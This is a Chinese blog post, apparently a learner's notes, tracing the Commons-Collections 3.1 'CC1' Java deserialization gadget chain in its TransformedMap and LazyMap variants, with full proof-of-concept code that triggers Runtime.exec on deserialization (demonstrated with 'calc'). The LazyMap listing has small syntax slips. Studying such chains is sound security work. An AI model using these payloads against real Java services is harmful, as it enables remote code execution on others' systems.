浅谈Commons-Collections1反序列化
2022-02-25 18:16:00 # Java

浅谈Commons-Collections1 反序列化

前言

想学Java很久了,之前也买了P牛的知识星球,但由于没啥基础,所以Java代码审计里面很多内容都看不太懂。最近这段时间学了一下SE的基础、反射和动态代理。现在来学习一下反序列化。

Commons-Collections是什么?

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发。

漏洞复现环境:

commons-collections3.1

jdk8u65

关于jdk: 最好是把src.zip解压,然后加入openjdk的对应版本的sun包,因为甲骨文的jdk的sum包是class文件,没法调试

复现过程:

TransformedMap链:

先来看一下InvokerTransformer类

1645863760823.png

这里接收一个对象,然后反射调用,其中方法名、参数类型和参数全都是可控的。这里就是一个任意方法调用。先用反射来弹一个计算器

1
2
3
4
5
6
7
public static void main(String[] args) throws Exception{
Class runtime = Class.forName("java.lang.Runtime");//反射获取Runtime类
Method getRuntime = runtime.getMethod("getRuntime");//获取getRuntime方法
Method execMethod = runtime.getMethod("exec", String.class);//获取exec方法
Object r = getRuntime.invoke(runtime);//执行getRuntime方法返回一个Runtime对象
execMethod.invoke(r,"calc");//执行exec方法
}

现在把这个改成InvokerTransformer的写法,先来看下构造函数。参数名、参数类型、参数值。

1645866316030.png

1
2
3
4
5
6
public static void main(String[] args) throws Exception{
Class runtime = Class.forName("java.lang.Runtime");//反射获取Runtime类
Method getRuntime = runtime.getMethod("getRuntime");//获取getRuntime方法
Object r = getRuntime.invoke(runtime);//执行getRuntime方法返回一个Runtime对象
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
}

1645867464228.png

接下来就找一找有哪些类调用了InvokerTransformer类的transform方法。

1645869539661.png

1645872493097.png

最后是找到了TransformedMap类有几处调用了这个transform方法。

1645876845888.png

1645878222907.png

1645876871733.png

我们重点来看一下TransformedMap的构造函数和checkSetValue方法,这里提供了一个静态方法decorate,可以返回一个TransformedMap对象。

可以看到构造器传入了一个map、传入了一个keyTransformer和一个valueTransformer,而checkSetValue方法中,执行了valueTransformertransform方法。

1
2
3
4
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("key","aaa");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);

这里将一个mapinvokerTransformer对象传入进去,就会执行invokerTransformer.transformer(value),如果要达到命令执行的效果的话,这里的value必须得是可控的。所以这里查找一下哪里调用了这个checkSetValue

1645879042991.png

发现AbstractInputCheckedMapDecorator类的MapEntry方法调用了checkSetValue

1645879867138.png

只需要遍历这里被修饰过的Map,就会走到MapEntry方法的setValue方法。接着就会调用checkSetValue方法,也就是回到了TransformedMapcheckSetValue

1645880043598.png

1645880269800.png

1645885622608.png

现在只需要找哪个类的readObject方法调用了这里的setValue。最后是在sun.reflect.annotation.AnnotationInvocationHandler类中找到了。

1645885849201.png

这里有一个遍历Map的功能,然后memberValue.setValue这里对这个值调用了setValue方法。先来看下这个类的构造方法

1646039118431.png

它接受两个参数,第一个参数type是一个Class对象,第二个参数memberValues是一个Map对象。这个Map对象是完全可控的,我们可以将前面写好的Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);这个transformedMap传进去。由于这个类没有声明是public,默认的是default类型,那么只能在他的这个包底下才能访问,所以我们只能通过反射去获取这个类。

1
2
3
4
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transformedMap);

虽然看起来这样子没什么问题,但是其实还是有个问题:

  • 这里的value想要传入Runtime对象,如何传进去呢?

先来改一下代码,之前是只用InvokerTransformer调用了exec方法,现在将整个反射过程都用InvokerTransformer来写

1
2
3
4
5
Method getRuntimeMethod =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);

Runtime r =(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);

new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

但是这样要重复的写好几个类,所以可以用ChainedTransformer来一起写了,先来看一下他的构造函数

1646123692049.png

传入的是一个Transformer[]数组,我们可以把要调用的方法全都写进去,然后transform方法会进行一个递归的调用。

1646123774569.png

1
2
3
4
5
6
7
8
Transformer[] transformers = new  Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

1646129146023.png

现在可以正常弹出计算机了,说明已经把格式改过来了。

1646127091809.png

这里之前传入的是invokerTransformer,我们全都改写成了chainedTransformer,所以直接传入chainedTransformer对象就好了

1646127213608.png

这里只调用了一次,就相当于调用了Transformer[]数组里的三次方法。现在就应该着手于如何解决之前提出的问题:

1646129634564.png

可能有两个地方出现了问题:

  1. 这里最开始if判断没有通过!
  2. memberValue.setValue这里有问题!

1646129913070.png

现在去调试一下,这里对memberValues调用getKey()方法,然后再在memberTypes里面查找这个key。没找到,这个if就直接没进去

1646130646906.png

所以必须要找一个有成员方法的class,并且数组的这个key,还要改为他的成员方法的名字

1646131114668.png

这里是找到了一个Target,把map.put那里第一个参数改为value,然后继续调试。

1646131288633.png

1646131486495.png

这下是能进入if了,然后继续跟进,发现最后走到了checkSetValue这里,也就是执行命令的最后那个点

1646133365995.png

注意看这里的value值,还是得不到我们想要的。这时候其实有一个类可以解决,那就是ConstantTransformer

1646133847540.png

这个类的transform方法无论传入什么参数,都会返回构造的时候传入的值。

虽然AnnotationInvocationHandler类最后那个member.setValue的Value的值我们控制不了,但是只需要最后调用的是ConstantTransformer的transformer方法就可以返回Runtime对象了

因为最后执行命令是调用了transforms的transform方法,所以将这个ConstantTransformer写到最前面,让他返回一个Runtime对象

1646134279642.png

1646134459869.png

然后再进行后续的一系列调用,最后成功弹出计算器。

1646134717121.png

完整利用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package CC.CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
public static void main(String[] args) throws Exception{

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
map.put("value","aaa");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);


Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("Le1aaaa.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("Le1aaaa.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

LazyMap链:

LazyMap跟和TransformedMap类似,都继承了AbstractMapDecorator。但是其漏洞的出发点不一样,TransformedMap是在写入元素的时候执行transform方法,而LazyMap是在get方法中执行的factory.transfrom

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

可以看到get方法里面调用了transform方法,get() 方法获取不到 key 的时候触发 transform,所以我们构造时就不放key了。接下来看看factory是否可控

1646384075042.png

通过构造函数,我们可以看到factory是可控的,于是可以按照构造函数的规则进行构造并调用get方法

1646384269381.png

但是在sun.reflect.annotation.AnnotationInvocationHandler的readobj中没有找到直接调用Map的get方法。但是在AnnotationInvocationHandler类中的invoke方法调用到了get:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member);

接着我们看一下这里的memberValues是否可控,如果可控就可以传入上面的POC

1646384397895.png

这里的invoke()方法会根据传入参数,先获取调用方法名和调用参数,然后需要我们调用的方法不能是equals且调用方法是无参的。然后因为下面switch(var7)我们要让他default,所以var7我们要保持它的值是-1,所以我们传入的方法也不能是toString,hashCode,annotationType。

接下来就需要去到readobject中去找,看看有没有调用一些满足条件的无参方法,这样反序列化时配合动态代理机制就可以自动跳转到这里。知识点:被动态代理的对象调用任意方法都会调用对应的InvocationHandler的invoke方法

1646385657355.png

readObject方法里面,不需要任何处理就会自己调用一个无参方法entrySet(),所以我们只需要控制memberValues传入的是动态代理的实例对象,即可进入到invoke方法调用get方法,进而调用transform执行命令了

1646386013302.png

因为想要LazyMap调用get方法,所以这里传入,让memberValues等于LazyMap,因为readObject里面调用过无参方法,所以这里就会走到AnnotationInvocationHandler类的invoke方法,然后就会调用LazyMap,进而执行transform。

完整POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package CC.CC1.LazyMap;

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class LazyMapPoc {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
Map hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap,transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class,lazyMap);

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);//
handler = (InvocationHandler) constructor.newInstance(Retention.class,proxyMap);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();


System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o =(Object) ois.readObject();

}
}

放一张ysoserial的顺序图来说明整个完整调用流程

1646386266952.png

最后:

前前后后差不都看了接近一周了,对于初学者来说,理解起来还是很不容易,还是自己太菜了!继续加油吧!😴😴😴